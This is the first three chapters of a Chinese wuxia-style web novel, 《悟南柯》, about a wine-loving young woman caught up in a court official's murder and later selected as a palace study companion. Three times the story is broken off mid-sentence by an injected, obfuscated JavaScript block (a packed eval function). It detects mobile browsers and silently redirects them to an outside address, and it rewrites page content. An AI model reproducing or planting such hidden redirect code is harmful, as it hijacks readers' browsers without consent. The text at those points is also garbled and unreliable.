《悟南柯》 1. 悬案 “咻——” 一声尖啸划破夜空,禁军统领云府的飞檐上,蜷着个身形纤弱的黑衣人。 “来了!”只见半空中飞起一道黑影,杨柯打眼一看,他竟在腰间系了条银丝绣云的腰带,月光一照活像条银环蛇。她拾起石子敲他脑袋,“云昌吉,我们是去偷酒,不是去比武招亲。” 云昌吉嘿嘿一笑:“不打紧,本公子轻功高强,邓老儿见了我也抓不着。” 杨柯白了他一眼,下巴一指,“走!”话毕,二人一齐往东南方向奔去。 三更梆子敲响,两道黑影掠过夜空。杨柯率先落到城南的鼓楼上,左脚刚迈出一步,忽觉后领一紧,“你往哪儿蹿?”云昌吉拎小鸡似的把她拽回来,指着反方向,“那儿是东边。” 杨柯汗颜道:“我的乖乖,你学武多年,怎的连东南西北都分不清?那方向明明是西边。” 云昌吉的蒙面巾动了动:“邓府凶险,为兄的这招叫作障眼法。” 杨柯没理他,掏出怀里的地图:“东边是佛寺……西边……” 云昌吉双手抱胸,在一旁提醒道:“阿柯,你没搞错地方吧?” “邓全英当的是户部左侍郎,这等肥差自然身家不菲,金盘露酒又怎会藏在打眼的地方?”她端详着手里的地图,微皱起眉,“诶?我们明明走的是东南方向,为何反了呢?” 云昌吉质疑道:“邓府端的是个什么去处?你我可别叫人着了道!” 杨柯笑嘻嘻道:“肯定是个风水宝地,不怕贼偷就怕贼惦记,咱们摸黑绕了半宿才摸到这儿,要真让小贼轻易得手,那邓老儿家的金银财宝早被搬空咯!” 终于找到了邓府,放眼望去,百亩之间尽是宅邸,如巨兽蛰伏。九进朱漆仪门次第洞开,每道门前分列鎏金麒麟,口衔夜明珠,在暮色中泛着幽蓝冷光。 “现在信了?”杨柯用气声说,“瞧瞧!邓老头诚不欺我,这大宅子果真气派!” 二人顺着房顶溜了一圈,找到了金盘露酒所在的花厅处。院内花木扶疏,几处灯笼被风吹得摇摇欲坠,晃得本就昏暗的灯光更加晦暗不明。 杨柯低声道:“金盘露酒就在房内。” 云昌吉跃跃欲试:“看来院子里没什么人,这回得来全不费功夫。” “嘭!”屋内忽然传出一声巨大的闷响,接着一声女子的尖叫炸开,“啊——”一道青绿身影从房门里窜了出来。 “怎么回事!”院子里的嬷嬷压着声音冲她喝道,“不怕惊了老爷?” 那女子面色煞白,颤颤巍巍地指着房里:“老爷……老爷……没了……” 屋顶上的杨柯和云昌吉立即警觉,对视一眼,云昌吉想要往前探去,杨柯一把将他扯了回来,“现在冒出去不正巧撞鬼?”云昌吉眼珠子转了转,又慢慢缩了回去。 “报官!报官!”房檐底下爆出一声惊叫,吓得二人浑身一哆嗦,原来方才那嬷嬷被绿衣女子领进了房门,不消多时便面色如土地奔窜出来,连滚带爬地跌坐在院子里。 绿衣还剩一丝力气,一边颠儿颠儿地跑去前院,一边扯起嗓子喊人:“来人呐!来人呐!出大事了!”不消片刻,整个府邸锣声紧打,各屋纷纷亮起了灯火。 “官爷来啦!”伴随着一阵骚乱,一群人影穿过曲折的回廊,来到了花厅前。 冷风穿堂而过,发出呜咽之声。花厅的房门半掩,里头明晃晃的灯光照得人心底发慌,门前跪着的下人们低头啜泣,为首的捕头喝问道:“什么时候发现的?” 缩在房檐底下的嬷嬷哀声回道:“就在方才。” 捕头巡视了一圈,对着跟前杵着的绿衣道:“今日府里可来了什么人?” 那绿衣脖子一紧,脑袋不自然地偏了偏,又匆忙提袖抹泪:“回官爷,今晚上没别人来了,只是……” 捕头跟着拧眉问道:“只是什么?” 绿衣低声低气地嗫嚅道:“屋里有外人的痕迹。” 几个捕快面面相觑,抬起脚步,推门径入。 片刻后,门里走出一个方脸捕快,“是刺杀。”又对着门外站着的几个小捕快命令道:“迅速号令封锁现场。” “是!”一人回身高呼,“关闭府门!不准放人出入!”话音落下,院内又是一片骚乱。 “要是被他们发现,咱们恐怕会被当成凶手。”云昌吉指了指杨柯手臂,“我倒是还好,你身上还有个月牙,人堆里一抓一个准。” “谁让我生下来就带着这玩意儿。” 云昌吉暗叹一声:“今晚这酒喝不成了。” 杨柯敲他脑袋:“凶宅的酒你也敢喝?老天爷是在提醒咱们呢。” “那咱们怎么回去?” 杨柯思索道:“若是原路返回,恐怕有些困难,只能往西城走。” 云昌吉啊了一声:“西城?那儿可都是滁州来的流民。” “流民总比死人好。” 云昌吉急道:“他们会打劫!” 杨柯瞅他一眼:“那些灾民全都饿得腿软,还能跑得比你我快?” 云昌吉犹豫片刻,最后还是答应:“行,听你的!”话音落下,二人闷头猫腰,窜出了邓府,天色也逐渐亮堂起来。 这一年,是昭明二十三年秋。昔年太祖武皇帝宇文元仗剑定山河,第三子靖王宇文弘渊继承大统,亲率六军西征,破柔然十万铁骑于雁门关外,威加海内。靖王即位后改元昭明,敕建凌渊阁以彰功勋,六卿辅政、六军拱卫,合称十二柱国,画像悬于凌渊阁三层,享春秋祭祀。 一时间天下无事,四方太平。可是,人有乐极生悲,月有阴晴圆缺,昭明九年间发生了一起巨大震荡,大夏社稷被置于烈火之上。所幸灾祸平息,但余震的祸根却就此悄悄地埋下了。 京城东侧的杨府内,杨涛正斜倚在灯挂椅上,使劲倒着手里的酒壶,饶是水汽的影子都没见着,“这丫头,又喝个精光。”无奈高声道,“阿柯啊,去把上个月扬州寄来的酒……” “杨柯!你又偷银子了?”杨涛话还没完,妻子程玉槿的怒号便从屋里迸发出来,吓得他赶紧噤了声,目光投向刚刚跨进家门的杨柯。 父女俩四目相对,默契达成:老爹负责把哨,女儿负责原路撤退。 “杨柯回来了?”程玉槿三步并作两步,从房门里飞奔出来,手上的钱袋跟着病怏怏地晃悠。 杨涛赶紧打掩护:“瞧我这记性,阿柯刚出门去黎初那学诗了,现在哪里回得来?” “杨柯,给我站住!”就在杨柯跨出门的最后一步,程玉槿警觉地捕捉到门口露出的衣角,迈开大步就要来抓她。见死期已到,杨柯赶紧撒开了腿往外跑。 程玉槿疾步往外,却被杨涛给生生抱住,愣是动不了一点儿:“玉槿啊,着急出门做什么?上个月从扬州捎回来的好酒,特意留了这么久,就想得了空儿跟你一同尝尝,我看今日时辰合适……” “哦?可是扬州的乔家白?”只见一老者踏步进来,一身洗得泛白的青灰葛布长衫,鹤发松姿,目光如炬,这就是方才杨涛口中的黎初——大名李元,杨柯的师父。 杨柯本以为能成功溜走,刚出门便和师父撞了个头碰头。李元回过神来,直接揪着她的后衣领,把她拎了回去。 “黎初,就等你来了!”杨涛展臂相迎,程玉槿见了李元,自然收敛了怒火。 杨柯跟着师父进去,使劲缩在他背后,低着头,不敢同程玉槿对视。 “巧月,快去拿酒!”程玉槿冲着正在裁剪新叶的侍女挥手。 三人熟稔地在院子里的石凳上坐下,杨涛笑呵呵地冲着李元道:“李兄终归是差了点儿道行,哪里是乔家白,你兄弟我捎来了云液酒,”抬起手掌笼在嘴边悄声道,“这可是三十年前漕运使进献给先皇的贡品。” 李元双眼发光:“还有这等好事?” 程玉槿笑骂道:“你们可别再去翠心湖边上喝了,上回笼翠坊的赵老板因为收留了你们两个醉鬼一晚,敲了我不少银子呢!” 杨涛对着妻子傻呵呵一笑,这老头平生唯一爱好就是风花雪月、醉死方休。前几年凭借绘画天赋被李元赏识,可惜他年事已高,只能在朝中挂个画师的闲职,平日里家中的丝绸生意全都交由程玉槿打理。她二十便嫁给了四十的杨涛,虽年纪不大,但脾气挺大,不仅把丝绸铺子治得条条顺顺,还把家里的一叟一女管得服服帖帖。 程玉槿接过巧月递来的酒壶,一边斟酒一边道:“阿柯,我问你,你到底从哪儿回来?” 杨柯飞瞄了师父一眼,嗫嚅道:“昨日跟师父学诗去了。” 程玉槿语气一挑:“学诗做甚?你不是已经出名了?”她揶揄的便是杨柯因评论镇北大将军章满的诗集而闹出的糗事。 章满驻守西北十七年之久,如今年过花甲,将多年戎马生涯写成了一部《雁关秋笳》。在京城的逸韵诗会上,众多文人墨客自然是要传阅点评一番的,可杨柯压根儿不认得这个章满,只是拿过来瞧了瞧,随口说了句“这诗不见雕琢之意,倒像是一气呵成”,没成想落到有心之人的耳朵里,越传越离谱,最后竟是李元的徒弟杨柯讥讽章大将军吹牛不打草稿。杨柯被这么一折腾,也算名满京城了。 “娘,你别拿我打趣了,那都是胡说八道。” 李元笑道:“阿柯童言无忌,章将军都不会在意,玉槿你又何必在意哪些背后议论之人?” 程玉槿忽然问道:“诶,章老将军果真将兵权给了儿子?” “章擎这几年打了不少胜仗,军中威名足以服众。”师父抬手捋了捋长须,轻叹一声,“杨兄,玉槿,你们可有听说邓员外一案?” 他二人对视了一眼,目光中闪过警觉,随后程玉槿开口道:“邓员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李元仰头笑道:“阿柯虽然童言无忌,但也说对了一些。” “果真?”三人皆被勾起了好奇心。 李元脸上的笑意渐隐:“邓员外的死因并非刺杀那么简单。”听完这话,杨家三口的脑袋往前凑得更近了。 李元继续道:“奇怪就奇怪在邓员外的死状,其尸身僵如寒铁,喉间血痕细若游丝,初判为利刃穿喉,但仵作遍查二十四处大穴,竟无一处致命伤。最邪门的是,他右手紧攥半截赤羽。”杨涛截问道:“赤羽?可是鹰羽?” “不错,正是鹰羽。此等形类鹰隼,遍寻全城却无此禽。”一时间无人说话,四人皆若有所思。 杨涛问道:“邓全英可是户部新提拔的官员?” 李元缓缓答道:“是,才坐稳了半年,便遭此横祸,难免让人想到他与兵部长久以来的矛盾。” 杨涛又问道:“黎初的意思是,朝中舆论皆倒向兵部所为?” “邓全英行事做派高调张扬,半个月前还同兵部尚书白韬在朝堂上争执起来,声称兵部浪费了太多拨款,引得陛下都龙颜大怒。” 程玉槿道:“户部有个郑仪已经够呛,还加上邓全英这个莽夫,宣王又刚刚接手户部,年纪也才二十出头,不知道能不能压得住底下这帮人。” 李元赞道:“伯喻是易老一手扶持起来的,能力、手段皆不出其右。他十五岁便开始涉足朝政,无论是在工部,还是如今的户部,都不成问题。” 杨柯向来对大人谈论的这些朝纲之事秉持着“左耳朵进、右耳朵出”的态度,可师父这番罕见的高赞勾起了她的兴趣,令她对宣王又是好奇又是羡慕。这个宣王和自己年纪相差也不过三四岁,究竟是何方神圣?生的什么模样?可会跟自己一样,被脸上长出的面疱烦心么? 她正遐想着,却听身旁的程玉槿摇头叹息:“如今刑部与兵部都归羲王协管,这案一出,恐怕朝中势力又要虎视眈眈了。” 杨涛笑道:“你呀,瞎操心什么,阿泰曾经也是黎初的弟子,我瞧他年纪轻轻,才涉政两年,陛下便陆续将兵部、刑部放手交给他去管,这案子即使难办,对他来说也不成问题。” 杨柯闻言望向师父,只见他笑着捋起了胡子,杨柯心里不由得酸唧唧的,看来师父对自己这位师兄也很是满意。 他们三人又继续讨论起来,杨柯心里感觉不耐,自己对这些势不势力的也没什么兴趣,又冒出了溜走的打算。她四顾一圈,发现无人察觉后便蹑手蹑脚地往外走,所幸他们三人聊的起劲,并未发觉异样。迈出了大门,杨柯掏出怀中的银两,放在手里沉甸甸地甚是满足,于是笑吟吟地朝着紫英阁大步前去,脚底仿佛踩在云朵之上,飘飘欲仙。 2. 错认 渭水河畔,紫英阁内,灯火通明。桃花酿的酒香从朱红的窗棂飘了出来,不知道又钩了京城哪个馋虫的腮帮子。 这紫英阁是京城里数一数二的酒楼,楼高四层,下设两层大理石台基,足足有六层楼高,登顶能够远眺整个京城的风景。二楼雕花栏杆上缠着丈余长的酒幌,上书“太白遗风”四个狂草,晚风吹过,簌簌翻卷如醉汉挥袖。 穿过门前的木质栅栏,杨柯走到了紫英阁门前,一个模样清秀的小厮迎了上来,“杨公子,今日还是二楼的阁儿?”小厮身穿紫衫,头戴方顶样头巾,脚下丝鞋净袜。脸看着生,从前没见过,竟然知道她是常客。 杨柯笑道:“是啊,备好了酒没?” “那是自然,”铨儿躬腰伸手,指向暗处的楼梯,“公子这边来。” 二人上了楼,紫檀木阶在脚下发出空鸣,“当心转角。”铨儿抬手挡过壁上的铜鹤熏炉,那鹤喙里幽幽吐出青烟,在廊柱间织成半透明的幕帘。 “公子请进。”铨儿拉开隔扇,露出垂着茜纱的月洞门,杨柯移步至内,“多谢。” 铨儿问道:“还是桃花酿?” “先来一壶开开胃口。” 不出多时,小厮端来了青玉酒壶。杨柯歪坐在美人靠上,指尖沾酒轻点舌尖,喉头不禁发出一声轻颤。 “杨公子,这桃花酿可还满意?”紫英阁老板红娘一袭大红色织锦襦裙,腰间系着金丝香囊,鬓边斜簪半支鎏金桃花钗,腕间一对黄金镯子随着斟酒动作轻响。 “哈哈,红娘待我不薄,尝遍了各种酒,还是紫英阁的桃花酿最叫人难忘!”杨柯冲红姨朗然一笑,伸手搭上她的肩膀。 “二十年的陈酿,还用的我桃花坞里最上等的桃花,这等美酒,等闲人我可不给他喝!” 杨柯随即接道:“既然红娘对我这么好,不如再给小弟斟一壶?” 红娘扬起柳叶吊梢眉:“你呀,还真是蹬鼻子上脸!”说完扭头往外走去。 她赶紧追上去,讨好道:“好红娘,以后我多带几个兄弟来你这,行不行?” 红娘停下步子,伸出手指用力戳上她额头,佯怒道:“杨公子,你好生瞧瞧,我这紫英阁可不是什么三流酒楼,整个京城的男人挤破了头都想进来,你以为我缺几个客人?” 她忙赔笑道:“好姐姐,我这也是一番好心,不过是想讨姐姐欢心,多赏口酒吃。要不是今晚喝了桃花酿,我连话都不会说了!” 红娘斜瞥了她一眼,依旧嗔怪道:“杨公子的意思,是怪我的桃花酿咯?” “姐姐怎么这样想?美酒醉心、美酒醉心。”说完冲她嘿嘿一笑。 红娘倒也没了气,从她手里取走酒壶,转头唤道:“元英,来,给杨公子再斟一壶。” “好嘞!”正与客人倒酒的元英远远答应着,客人摸了把她的腰身,她嗔怒着啐了一口,腰肢一摆,拐去藏春坞里取酒。 “就知道红娘大气,不和小弟计较。”杨柯心中美滋滋,转身欲回座位,蓦地和身侧的客人碰肩相撞,手中的酒壶应声坠落,桃花酿洒了一地,溅到了对方的衣袍上。 “哎呀,对不住对不住!”她连忙道歉,又眼看着美酒被糟践,心肝儿生疼。刚蹲下身去捡拾碎片,却听一个低沉的声音在头顶响起:“无妨,只是这酒,可惜了。” 杨柯一抬头,正对上来人的眼眸,心中莫名一颤,那眸子仿佛湖潭一般深不见底。再一打量,这人身着一袭湛蓝色长袍,面容轮廓分明,额间两道剑眉斜飞入鬓,眉下一对深眸含情微眯。 她虽微醺,但还没醉,见了这俊俏公子不至于目眩神迷,于是调侃道:“公子好眼光,光是闻就能辨出好坏来。”目光向下,突然瞥见男子袖中漏出的一截赤色鹰羽。 杨柯心里一紧,嘴上故作轻松道:“不知阁下近日可有听闻邓员外一案?” 男子眼中闪过一丝惊讶,而后笑道:“公子说笑了,在下一介布衣,不通官家事。” 她紧接着问道:“那您袖中的赤色鹰羽又是从何而来?” 他脸上仍保持微笑:“鹰羽?在下从未见过老鹰,更别提什么鹰羽了。” 杨柯暗自腹诽,越是高明的刺客越会隐藏,但从我眼皮子底下溜过,还想神不知鬼不觉? “那赤色鹰羽正是前几日邓员外尸首上唯一留着的东西,此刻就在你袖中,休想狡辩!” 对方反笑道:“那你打算如何?难不成要抓我去见官?” 她一听,反倒来了兴致:“有何不敢?走!”说着便伸手去拉男子的衣袖。 那男子怎会乖乖听话,一个闪身,退至一旁。 杨柯眉头一挑:“你躲什么?” 他好笑道:“你叫我去见官,我便要跟你去?” “还不是心里有鬼?”杨柯更加确定了心中猜想,抓起酒杯便向他掷去,“看招!” 男子无奈接手应战,引得周围宾客纷纷侧目。 楼下的红娘见势喊道:“杨公子,你这是干什么?” 杨柯大声应道:“红娘,你这酒楼里藏了个刺客!” 红娘神色一变,看了那男子的模样,忙急道:“那是林公子,不是什么刺客呀!” 话音未落,杨柯已经掀桌出手,众人听了她二人的对话也是哗然一片,乱作一团。 杨柯与男子两人你追我逃,霎时间,桌椅翻倒,杯盘狼藉。 “哎呀,我的黄花梨木桌啊!”红娘哀嚎的声音从底下传来。 就在杨柯即将得手之际,男子脚下微微放慢了速度,杨柯迅速伸手抓他,本以为能趁机制住对方,却没想到他放出虚势让她抓了个空,杨柯一时滞住,他便趁机脱身,跳窗飞了出去。 杨柯立马脚跟脚地追上去,两人一路疾行至一道小巷内。 进了巷道,她才回神过来,方才与男子交手,虽然他并未正面袭击,只是在抵挡自己的攻势,但几招之内行云流水,躲避得毫无破绽,可见其武功深藏不露。 若是到了这无人之地,她的运气就没那么好说了…… 念及此,她停住脚步,男子也急刹下来,回身笑望:“姑娘,在下从未见过像你这样执着之人。” 杨柯心中暗叹:自己的女子之身竟被他发现了!她悄悄往后退了几步,留一个逃跑的机会,但嘴上依旧不输:“若你清白无辜,那你跑什么?” “不跑等着被你抓住么?”对面楼檐的灯光照到了男子的脸上,只见他眯起眼睛,提步向她靠近。 “你……你想怎样?”杨柯立马往后退去,却因太急被翘起的砖块绊倒。所幸男子反应极快,抓住她的手臂,一把将她拉了回来,可是这下两人的距离不足三寸。 男子垂眸略了一眼她手臂露出的月牙,抬眸时淡然如常:“若觉得在下是刺客,那姑娘又在哆嗦什么?不是说要将我绳之以法么?” 杨柯尴尬道:“冻……冻的。” “如今好像已经是暮春。” 趁他说话之际,杨柯一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207047|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬脚往他下身使劲一踹,没想到这人闪身一躲,她又踢了个空,全身向前栽去,打了个踉跄,很是狼狈。 来硬的不行,那就上软的。 “瞎!腿抽筋了……”杨柯哇哇大叫,余光里瞅着男子的动静,心里还打着鬼主意,若是让外面的人听见了,说不定尚能搏得一线生机。 男子轻笑道:“抽筋还会踢人?倒是挺会挑时机的。” “瞧公子说的,我哪敢啊。刚才是我不小心,脚底下突然一滑,就……就踢出去了,真是抱歉。” “哦?那我可得小心些了,免得下次再被你给‘不小心’踢着。” 杨柯笑嘻嘻道:“公子武功高强,尽管放心。” “我倒是放心。只不过姑娘你——”男子倾身靠近,杨柯心中一紧:“你……你要干什么?” 他俯首在她耳边道:“接下来的事我得保证不能让别人听见。” 她心中一沉:这刺客终于承认了,可为何偏偏是这个时候!方才在紫英阁里你怎么不说? 杨柯立马苦下了脸:“大侠饶命,大侠饶命!今晚……今晚的事,就当我没看见行吗?”说话间双手抱拳,起了哭腔,“您看我年纪轻轻,还未长大就早早殒命,如何向爹娘交代呀!” 男子一边静静地听,一边捻起她鬓边的发丝,指尖传来龙涎香的温热气息,将她心中的恐惧抚平了许多。杨柯不禁感叹,这年头连刺客都这么温情了吗?难道邓员外死前也是这个待遇? 男子开口道:“小丫头,我可不是什么刺客。若想取你性命,何必大费周章。” 杨柯苦着的脸立马舒展了:“真的?你……你不是刺客啊!” 他眼底的笑意更深:“我们做个交易如何?你帮我个小忙,作为回报,我保你安全无虞。” 杨柯脱口道:“什么交易?”她随即意识到不妥,又补充道,“先说明白,我可不做伤天害理之事。” “放心,我所求之事,既不伤天也不害理,只需要你答应。至于具体是什么,待时机成熟,我自会告诉你。现在你只要相信,我非但不会害你,还会帮你。” 杨柯奇道:“还有这么好的事?” 见她并未立即拒绝,男子从袖中取出一枚玉佩,轻轻放在她的手心。 “这是信物,”他正色道,“带着它,无论何时何地,若你需要帮助,或者想通了愿意与我合作,只需找到逍遥居,出示此玉佩,自然会有人带你来找我。” 杨柯正好奇地端详着手里的玉佩,闻言抬头喜道:“逍遥居?难道你真是江湖中人?” 男子听言大笑:“江湖?这世间不就是江湖?” 杨柯露出迷茫的神色:“可我从未见过江湖啊。”而后又迟疑道,“逍遥居又在哪儿呢?” 他笑吟吟道:“庙后山阶左入丘,棘间石尽见云楼。”杨柯跟着默念起来。 男子说完便转身欲走,却又好像突然想起了什么,停下脚步,侧头看向她,眼中闪过一抹温柔:“夜深了,你一个姑娘家的在外不安全,我送你回去吧。” 杨柯心中一暖,江湖人士果然仗义。她点头跟上他的步伐。两人一前一后,走出了巷子,汇进了大道上的人流中。 杨柯望向他的背影,方才发生的一切恐惧与暧昧,都仿佛做梦一般。又低头看向手中的玉佩,心里窃喜,今晚就是自己走向江湖的开始,明日定要向云昌吉炫耀一番。等到她再抬头时,已经回到了紫英阁,可原先高大的身影却消失不见了。 3. 伴读 京城刚下完一场春雨,天明水净,麦苗青青,看的人心里也觉得轻快。 杨柯跟着师父走在街道上,正要赶往御书院的祭酒纪启明在自家府邸举办的逸韵诗会。 “阿柯,过几日便是入宫伴读的试选了,你准备得如何啊?”自从紫英阁那晚以后,杨柯被程玉槿按在书桌前温书,连门都踏不出半步,整日里背些经史子集,学些钱谷兵革,脑子迷迷瞪瞪,“逍遥居”三个字早已被抹得一干二净。今日好不容易跟着师父出了门,本想借此机会偷得半日空闲,可师父偏又提起,她听到伴读二字脑门便突突地疼。 “师父,皇宫为何要选伴读?是不是皇子公主不爱读书,想找个垫背的跟他们一起熬?也太没天理了。” “你这丫头,伴读哪是这么简单?” “简单?可是读书一点儿都不简单啊。” 李元笑着捋了捋胡须:“皇宫遴选伴读呢,其一是为了皇家子弟砥砺学业,更重要的是巩固朝内官员与皇家的关系,从官宦子弟中物色辅佐下任君主的肱股之臣。而且啊,今年圣上要重启女官制度。” “当女官是不是也能和师父您以前一样,在皇宫里横着走?”李元曾是御书院祭酒,总掌院务,但他年岁已大,十五年前便致仕归里,祭酒之位交由纪启明继任。 “宫里只有陛下能横着走。”李元手中的蒲扇轻轻拍了拍杨柯的头,“女官呢,属于尚书内省,她们负责处理圣上的政务文书、外廷奏事,地位自然也是不差的。” 杨柯听得糊里糊涂:“可我年纪尚小,进宫不适合吧。” “你今年已满十八,当年公孙大人十五岁便入宫,十八已是不小了。” “公孙大人是谁?” “当今户部左侍郎公孙瑶。公孙家乃三代为官,她自十五岁便是皇帝的伴读女使,从御侍令一路做到户部长官,也是如今唯一一个外廷女官。” 杨柯哇道:“她好厉害啊。” “这次宫里新招许多官家小姐当伴读,便是要效仿公孙瑶。既有先例在,朝廷自然要栽培些能写会算的女官来。” 杨柯插科打诨道:“京城那么多官老爷,从他们府里随便拎几个姑娘去便是,还要遴选什么呢?皇帝好好栽培,定能出个小公孙瑶。” 李元点了点她:“别忘了,阿柯,你也是其中一员,故而这次考试要认真对待。” “好好好……”杨柯一面敷衍答应着,一面想着怎么糊弄,李元看清了她的鬼心思,用扇柄去敲她的额头,“为师会检查你的考卷,若有空白,我就告诉你娘,这个月无故消失的钱袋子都去向何处。” 杨柯嘴角一瘪:“师父——” 没过几日,便到了遴选伴读的日子。一大早,杨柯睡眼惺忪地被拎上马车,随众人赶往紫微宫。 不到数里之遥,早望见紫微宫中央的神武殿。神武殿是皇宫正殿,耸立于皇城的最高处,也是最中央。打眼看去,殿宇嵯峨,宫墙高耸,气派难掩。正殿上金碧辉煌,两廊下檐阿峻峭。入内可见三条呈川字纹的青石甬道,四周以水波纹白石铺就。 两扇朱红大门紧闭着,太监们推开殿门,平日里站着高冠博带的金砖之上齐整地列着考桌。殿中央的王座之下,是以纪启明为首的御书院夫子们。他们端坐一排,一动不动,像是门外的石狮子搬进来了似的。 “诸位请坐!”为首的大公公立于丹樨前大声宣布。 大家纷纷撩袍坐下,杨柯扭头瞅向殿内鎏金柱子上的蟠龙,她看得呆了,脸上也跟着蟠龙做起了表情,“不许东张西望!”一声乍喝从侧首的公公那传来,吓得杨柯一激灵。她倒以为说的是别人,遂也四顾看去,结果对上太监灼灼的视线,这才意识到原来是自己,于是学起师父的架子,拧起眉头,挺起胸膛,一脸端肃地阅览起书卷来。 “开始翻卷!”众人又齐刷刷地将卷轴从反面翻过来,“开始吧。” 杨柯浏览了一遍卷轴,无一不是师父曾教导过的儒学之问,五经之辩,唯一让她感兴趣的只有诗书科,今年竟然是自主选题。她兴致大起,挥袖提笔,写下诗名《逍遥行》的最后一划后,满意地勾起嘴角。 治经科的题目乃以“明堂火珠”为要写一首骈文,既然不能不写,那就瞎写吧!于是她搜刮出所有平日里背过的诗文,东挑一句,西拣一句,整篇文章看起来语句通顺,但凡细细一读,全是狗屁不通。 答完搁笔,走出神武殿,她舒臂打了个哈欠,和阳光抱了个满怀。这时她这才体会到家里的软毛狗天天在院子里瘫开肚皮晒太阳的滋味,果真是百倍的舒服。论起享受来,再风雅的名士也总归比不过畜生。 京城东边的紫英阁内,红木雕花的门窗朝外大开,漏出里头的鬓香软语、笑语喧喧。 “杨公子,就等着你来呢!”杨柯一踏进紫英阁,便听见红娘站在老地方朝她招手。她循声望去,原来云昌吉已经提前到了。进了枕流轩,桌上满满当当摆了整整三层菜肴,杨柯惊道:“你小子,一个人吃这么多?” 平日里,云昌吉的爹云镇天倒不像程玉槿似的管得紧,可云昌吉这人偏偏是个武痴,没事就喜欢在外比武,动不动就是拆了这家的房梁,摔了那家的桌子,家里给的银子全都拿去赔钱了。所以喝酒玩耍的份儿瘫到了杨柯头上。她见了这满汉全席,心里冷不丁一哆嗦,手忍不住摸向口袋。 云昌吉咧着嘴得意笑道:“诶嘿嘿,今日用不着你了,昨日宫里武试,我拿了榜眼,我爹一高兴,赏了我十两银子。” 钱袋保住了,杨柯松了口气,嘴上也放肆起来:“瞧瞧,咱们云大公子也发达了,以后进了宫,侍奉起皇上了,可别忘了我!” 她这声嚷嚷落进了周围那些富家公子们的耳朵里。果然,边上几桌纷纷侧目,有的直接打量起云昌吉来,搞得他甚是尴尬,只好端起酒来向各位公子们遥遥敬了几杯。 终于坐下后,云昌吉灌了一口酒,咂吧着嘴道:“快别打趣我了,这段时日我都快憋疯了!” “你们武试又不用背书作文,有什么好闷的?” “我爹把我关在家里,只准练武,不准出门,每天我说的话还没巧儿多!”巧儿是云昌吉养的鹦鹉。 “行啦行啦,你也算熬出头了,”杨柯垂下眼睫,摇头低叹,“往后你要是进了宫,可就没人陪我吃酒了。” 云昌吉搭上她肩头:“有你师父在,你还愁进不去?” “可别!我还想过几年清闲日子呢。” 云昌吉摇头晃脑道:“命里有时终须有。” 杨柯打趣道:“昌吉什么时候也会背诗了?这句别是跟你家巧儿学的。” 云昌吉正要嘴回去,突然门外传来杨柯家里的小厮平儿的声音。 “公子!公子!老爷喊你回去!”杨柯听了这声心头一紧。 “看,你爹来叫你了。”云昌吉拍了拍杨柯的肩膀,“阿柯,咱们宫里见。”杨柯无奈回瞪,云昌吉的脸上尽是幸灾乐祸,但她现在也顾不了这么多了,只能起身下楼。 平儿正被一群妹妹们拦着,卡在底下上不来,急的满脸通红,见了杨柯,像是点燃的炮仗,挥起双手在人群里大声嚷嚷:“公子,你入选啦!你入选啦!” 这一声声听得杨柯真叫被雷劈了。周围一圈人皆顺势起哄,可在她眼里还不如喝倒彩呢。 平儿挣脱了众多美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207048|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阻碍,一个猛地扑到她身上:“今年伴读一共就选了十名,你排榜首呢!”见她苦着脸,又疑惑道:“公子这是怎么了?难道不高兴吗?” 杨柯深叹了口气,将他拽出了紫英阁。 “小姐你可算回来了!”巧月见了杨柯,双眼一亮,家中一众丫头和小厮也都放下手里的活,迎了上来,簇拥着杨柯进门。 “姑娘你看,夫人给你买的衣裳,可漂亮了!”杨柯的随身侍女青桃蹦跳着向她奔来,手里捧着京城最新的淡雅流云裙,裙身淡蓝色,宛如天空初晴时的色泽,裙摆处还绣着流云图案,像是天上的云朵跑到人身上去了似的。 杨柯叹道:“这裙子固然漂亮,但用错了地方。” “阿柯,快过来。”程玉槿在院子中央朝她招手。 她慢腾腾地挪着步子,移到了程玉槿身边,闷声闷气道:“娘,我不进宫了。” 众人的动作僵在半空,面面相觑,最后目光落在程玉槿身上。 杨柯往额娘脸上偷瞄,她虽下定了决心,但心底却碍于程玉槿的淫威直打鼓。 程玉槿神色凝重地立在原地,终了才伸手去拉女儿:“阿柯,这件事你得听我们的。”说完便带着她往书房里去,“老头子,阿柯回来了。” 杨涛正在包扎典籍,一本一本地收入沉香木匣内,匣面铜扣还特意系上了金丝绦。 杨柯暗自腹诽,真是见鬼,自己满月那天都没这个待遇。 “阿柯,爹爹得告诉你,进宫一事由不得你自己作主,更由不得我和你娘来作主。”杨涛抬起头,郑重地看着她,“这是圣上的旨意。” 杨柯的太阳穴突突地跳:“那爹的意思是……我必须要进宫了?” 